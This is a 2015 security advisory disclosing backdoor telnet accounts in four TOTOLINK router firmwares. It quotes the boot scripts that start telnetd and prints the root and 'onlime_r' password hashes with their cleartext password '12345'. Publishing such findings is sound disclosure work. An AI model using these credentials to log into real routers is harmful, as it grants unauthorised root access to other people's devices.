4 TOTOLINK Router Models – Backdoor Credentials
## Advisory Information Title: Backdoor credentials found in 4 TOTOLINK router models Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x03.txt Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html Date published: 2015-07-16 Vendors contacted: None Release mode: 0days, Released CVE: no current CVE ## Product Description TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea. TOTOLINK produces routers routers, wifi access points and network devices. Their products are sold worldwide. ## Vulnerabilities Summary Backdoor credentials are present in several TOTOLINK products. It affects 4 TOTOLINK products (firmwares come from totolink.net and from totolink.cn): G150R-V1 : last firmware 1.0.0-B20150330 (TOTOLINK-G150R-V1.0.0-B20150330.1734.web) G300R-V1 : last firmware 1.0.0-B20150330 (TOTOLINK-G300R-V1.0.0-B20150330.1816.web) N150RH-V1 : last firmware 1.0.0-B20131219 (TOTOLINK-N150RH-V1.0.0-B20131219.1014.web) N301RT-V1 : last firmware 1.0.0 (TOTOLINK N301RT_V1.0.0.web) It allows an attacker in the LAN to connect to the device using telnet with 2 different accounts: root and 'onlime_r' which gives with root privileges. ## Details - G150R-V1 and G300R-V1 The init.d script executes these commands when the router starts: [...] cp /etc/passwd_orig /var/passwd cp /etc/group_orig /var/group telnetd& [...] The /etc/passwd_orig contains backdoor credentials: root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh nobody:x:0:0:nobody:/:/dev/null The corresponding passwords are: root:12345 onlime_r:12345 ## Details - N150RH-V1 and N301RT The init.d script executes these commands when the router starts: [...] #start telnetd telnetd& [...] The binary /bin/sysconf executes these commands when the router starts: system("cp /etc/passwd.org /var/passwd 2> /dev/null") The /etc/passwd.org contains backdoor credentials: root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh nobody:x:0:0:nobody:/:/dev/null The corresponding passwords are: root:12345 onlime_r:12345 ## Vendor Response TOTOLINK was not contacted in regard of this case. ## Report Timeline * Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares. * Jun 26, 2015: working PoCs. * Jul 16, 2015: A public advisory is sent to security mailing lists. ## Credit These backdoor credentials were found Pierre Kim (@PierreKimSec). ## References https://pierrekim.github.io/advisories/2015-totolink-0x03.txt ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ |